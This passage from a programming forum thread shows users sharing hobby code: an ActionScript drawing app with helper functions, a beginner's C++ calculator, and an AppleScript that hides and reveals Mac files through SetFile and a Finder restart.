menu.drawRoundedRect([25, 335, 525, 390], 25);
var col:Array = [0x000000, 0x0000CC, 0x0000FF, 0x000099, 0x00CC00, 0x00CCCC, 0x00CCFF, 0x00CC99, 0x00FF00, 0x00FFCC, 0x00FFFF, 0x00FF99, 0x009900, 0x0099CC, 0x0099FF, 0x009999, 0xCC0000, 0xCC00CC, 0xCC00FF, 0xCC0099, 0xCCCC00, 0xCCCCCC, 0xCCCCFF, 0xCCCC99, 0xCCFF00, 0xCCFFCC, 0xCCFFFF, 0xCCFF99, 0xCC9900, 0xCC99CC, 0xCC99FF, 0xCC9999, 0xFF0000, 0xFF00CC, 0xFF00FF, 0xFF0099, 0xFFCC00, 0xFFCCCC, 0xFFCCFF, 0xFFCC99, 0xFFFF00, 0xFFFFCC, 0xFFFFFF, 0xFFFF99, 0xFF9900, 0xFF99CC, 0xFF99FF, 0xFF9999, 0x990000, 0x9900CC, 0x9900FF, 0x990099, 0x99CC00, 0x99CCCC, 0x99CCFF, 0x99CC99, 0x99FF00, 0x99FFCC, 0x99FFFF, 0x99FF99, 0x999900, 0x9999CC, 0x9999FF, 0x999999];
for (a=0; a&lt;col.length/2; a++) {
	for (b=0; b&lt;2; b++) {
		if (b == 1 && a == 0) {
			(_root.createEmptyMovieClip(&quot;col&quot;+a+&quot;_&quot;+b, _root.getNextHighestDepth())).beginFill(0xFFFFFF, 100);
		} else {
			(_root.createEmptyMovieClip(&quot;col&quot;+a+&quot;_&quot;+b, _root.getNextHighestDepth())).beginFill(col[a*(b == 0 ? 1 : 2)], 100);
		}
		_root[&quot;col&quot;+a+&quot;_&quot;+b].drawRoundedRect([40+(14*a), 347+(14*b), 50+(14*a), 357+(14*b)], 5);
		_root[&quot;col&quot;+a+&quot;_&quot;+b].cola = ((b == 1 && a == 0) ? 0xFFFFFF : col[a*(b == 0 ? 1 : 2)]);
		_root[&quot;col&quot;+a+&quot;_&quot;+b]._x += 14;
		_root[&quot;col&quot;+a+&quot;_&quot;+b]._y += 4;
		_root[&quot;col&quot;+a+&quot;_&quot;+b].onPress = function() {
			_root.lineStyle(1, this.cola, 100);
		};
	}
}
endFill();
onMouseDown = function () {
	if (_xmouse&gt;30 && _xmouse&lt;520 && _ymouse&gt;30 && _ymouse&lt;320) {
		moveTo(_xmouse, _ymouse);
		np = setInterval(function () {
			lineTo(_xmouse, _ymouse);
		}, 10);
	}
};
onMouseUp = function () {
	clearInterval(np);
};```

You also need an external file called Shape.as, and thanks to my mate dELta for the oval function..

```markupMovieClip.prototype.defaultTextbox = function(inst:String, X:Number, Y:Number):Void  {
	var temp:TextField = this.createTextField(inst, this.getNextHighestDepth, X, Y, 100, 30);
	temp.type = &quot;input&quot;;
	temp.selectable = false;
};
MovieClip.prototype.drawOval = function(X:Number, Y:Number, xr:Number, yr:Number):Void  {
	yr == undefined ? yr=xr : 0;
	var ctrlRadius:Number = xr/0.92387953251128675611953741891446;
	var ctrlRadius2:Number = yr/0.92387953251128675611953741891446;
	this.moveTo(X+xr, Y);
	var angle:Number = 0;
	for (var i:Number = 0; i&lt;8; i++) {
		angle += 0.78539816339744830961566084581988;
		var angleMid:Number = angle-0.39269908169872415483042290994;
		var cx:Number = X+Math.cos(angleMid)*(ctrlRadius);
		var cy:Number = Y+Math.sin(angleMid)*(ctrlRadius2);
		var px:Number = X+Math.cos(angle)*xr;
		var py:Number = Y+Math.sin(angle)*yr;
		this.curveTo(cx, cy, px, py);
	}
};
MovieClip.prototype.defaultSettings = function():Void  {
	this.lineStyle(2, 0x000000, 100);
	this.beginFill(0x000000, 100);
};
MovieClip.prototype.drawRect = function(xy:Array):Void  {
	this.moveTo(xy[0], xy[1]);
	this.lineTo(xy[2], xy[1]);
	this.lineTo(xy[2], xy[3]);
	this.lineTo(xy[0], xy[3]);
	this.lineTo(xy[0], xy[1]);
};
MovieClip.prototype.drawRoundedRect = function(xy:Array, ang:Number):Void  {
	this.moveTo(xy[0], xy[1]+ang);
	this.curveTo(xy[0], xy[1], xy[0]+ang, xy[1]);
	this.lineTo(xy[2]-ang, xy[1]);
	this.curveTo(xy[2], xy[1], xy[2], xy[1]+ang);
	this.lineTo(xy[2], xy[3]-ang);
	this.curveTo(xy[2], xy[3], xy[2]-ang, xy[3]);
	this.lineTo(xy[0]+ang, xy[3]);
	this.curveTo(xy[0], xy[3], xy[0], xy[3]-ang);
	this.lineTo(xy[0], xy[1]+ang);
};
/*
Shape.as
---
A collaberation of functions that make drawing using the 
MovieClip API a lot easier, most commands will be prototypes
of the MovieClip class and some will be taken from the 
ActionScript 3.0 Shape API (which has taken over from the
MovieClip API).
*/```

I doubt many people have Flash here but I thought I&#39;d post them anyway :P Well heres a simple calculator I made in C++. It&#39;s pretty crap but it&#39;s the first thing I made so I was pretty proud of it at the time:

```markup#include &lt;iostream&gt;
#include &lt;fstream&gt;
using namespace std;
long fact(long num){
     //this function returns the Factorial of the given number
     int temp = num;
     for(int a=1;a&lt;num;a++){
     temp*=a;
     }
     return temp;
}
main(){
    //First thing you do, declare the variables
    int a, b, c, type;
    ofstream myfile;
    const char* types[5] = {&quot;add&quot;, &quot;subtract&quot;, &quot;divide&quot;, &quot;multiply&quot;, &quot;get factorial&quot;};
    //This is the introduction text
    cout&lt;&lt;&quot;Simple calculator by -liam-&#92;n&#92;n&quot;;
    cout&lt;&lt;&quot;Choose mode: &#92;n&quot;;
    //These are the options
    cout&lt;&lt;&quot;1 to add&#92;n&quot;;
    cout&lt;&lt;&quot;2 to subtract&#92;n&quot;;
    cout&lt;&lt;&quot;3 to divide&#92;n&quot;;
    cout&lt;&lt;&quot;4 to multiply&#92;n&quot;;
    cout&lt;&lt;&quot;5 to get factorial&#92;n&quot;;
    cout&lt;&lt;&quot;6 to see info&#92;n&#92;n&quot;;
    //&#39;choose&#39; is the name of a label, so I can restart the program from this point
    choose:
    //Tell the person to choose an option
    cout&lt;&lt;&quot;Press the relevant key then press enter: &quot;;
    cin&gt;&gt;type;
    cout&lt;&lt;endl;
    //The following is all the adding, subtracting, etc.
    if(type&lt;6){
    cout&lt;&lt;&quot;You chose to &quot;&lt;&lt;types[type-1]&lt;&lt;&quot;. Type a number: &quot;;
    cin&gt;&gt;a;
    if(type!=5){
    cout&lt;&lt;&quot;&#92;nType another number: &quot;;
    cin&gt;&gt;b;
    }
    }
    int ans;
    if(type==1){
    ans = a+b;
    cout&lt;&lt;endl&lt;&lt;a&lt;&lt;&quot; + &quot;&lt;&lt;b&lt;&lt;&quot; = &quot;&lt;&lt;ans&lt;&lt;endl;
    } 
    if(type==2){
    ans = a-b;
    cout&lt;&lt;endl&lt;&lt;a&lt;&lt;&quot; - &quot;&lt;&lt;b&lt;&lt;&quot; = &quot;&lt;&lt;ans&lt;&lt;endl; 
    } 
    if(type==3){
    ans = a/b;
    cout&lt;&lt;endl&lt;&lt;a&lt;&lt;&quot; / &quot;&lt;&lt;b&lt;&lt;&quot; = &quot;&lt;&lt;ans&lt;&lt;endl;
    }
    if(type==4){
    ans = a*b;
    cout&lt;&lt;endl&lt;&lt;a&lt;&lt;&quot; * &quot;&lt;&lt;b&lt;&lt;&quot; = &quot;&lt;&lt;a*b&lt;&lt;endl;
    }
    if(type==5){
    ans = fact(a);
    cout&lt;&lt;endl&lt;&lt;a&lt;&lt;&quot;! = &quot;&lt;&lt;ans&lt;&lt;endl&lt;&lt;endl;
    }
    myfile.open(&quot;Newfile.txt&quot;);
    myfile&lt;&lt;a&lt;&lt;&quot; &quot;&lt;&lt;types[type-1]&lt;&lt;&quot; &quot;&lt;&lt;b&lt;&lt;&quot; = &quot;&lt;&lt;ans;
    myfile.close();
    if(type==6){
    cout&lt;&lt;&quot;---------&quot;&lt;&lt;endl;
    cout&lt;&lt;&quot;1 adds two numbers; &#92;n2 subtracts two numbers;&#92;n&quot;;
    cout&lt;&lt;&quot;3 divides two numbers;&#92;n4 multiplys two numbers;&#92;n&quot;;
    cout&lt;&lt;&quot;5 will find the factorial of a number.&#92;n&quot;;
    cout&lt;&lt;&quot;---------&#92;n&#92;n&quot;;
    goto choose;
    }
    cout&lt;&lt;endl;
    goto choose;
}```

&lt;3

ghost's Avatar
0 0

Just in case anyone is remotely interested, here is a little applescript (obviously, this is mac only!) that I like to call, "Snoop". It makes a file or folder completely invisible, although the system still behaves as if it's till there (and indeed it is). All it does is ask you to tell it the path to your file to hide and then inserts whatever you told it into a pretty nifty shell script. I also added that little bit about AppleScript's text item delimeters to try and handle files with spaces in their names, but it failed seeing as some people use bash terminal and some don't.

	set choose to display dialog &quot;Welcome to Snoop by Pepe. What would you like to do?&quot; buttons {&quot;Hide&quot;, &quot;Reveal&quot;} with icon 1
	if button returned of choose is &quot;Hide&quot; then
		set hidefile to display dialog &quot;What would you like to hide?&quot; default answer &quot;/Users/YOURUSERNAMEHERE/Desktop/FILE TO HIDE&quot; with icon 1
		set theScript to text returned of hidefile
		set ASTID to AppleScript&#39;s text item delimiters
		set AppleScript&#39;s text item delimiters to {&quot; &quot;}
		set theScript to every text item of theScript
		
		set AppleScript&#39;s text item delimiters to {&quot;/ &quot;}
		set theScript to theScript as text
		set AppleScript&#39;s text item delimiters to ASTID
		tell application &quot;Terminal&quot;
			activate
			do shell script &quot;/Developer/Tools/SetFile -a V &quot; & theScript
			do shell script &quot;/bin/kill -1 `ps auxc | grep Finder | awk &#39;{print $2}&#39;`&quot;
			quit
		end tell
		beep
		display dialog &quot;You have hidden &quot; & text returned of hidefile & &quot;. Snoop is writing a file to your desktop, reminding you of which files you have hidden. It is suggested that you keep this log so that you do not lose your data.&quot; with icon 2
		set Filename to &quot;Snoop hidden files log&quot;
		set this_data to (text returned of hidefile) & return as string
		set target_file to ((path to desktop folder as Unicode text) & Filename)
		set append_data to true 		
		try 			set the target_file to the target_file as text
			set the open_target_file to open for access file target_file with write permission
			if append_data is false then set eof of the open_target_file to 0
			write this_data to the open_target_file starting at eof
			close access the open_target_file
		on error
			try
				close access file target_file
			end try
		end try
		display dialog &quot;File succcesfully hidden!&quot; with icon 1
	else
		set showfile to display dialog &quot;Which file would you like to reveal?&quot; default answer &quot;/Users/YOURUSERNAMEHERE/Desktop/FILE TO SHOW&quot; with icon 1
		tell application &quot;Terminal&quot;
			activate
			do shell script &quot;/Developer/Tools/SetFile -a v &quot; & text returned of showfile
			do shell script &quot;/bin/kill -1 `ps auxc | grep Finder | awk &#39;{print $2}&#39;`&quot;
			quit
		end tell
		display dialog &quot;File succcesfully revealed!&quot; with icon 1
	end if
end tell

I'm happy to answer any questions.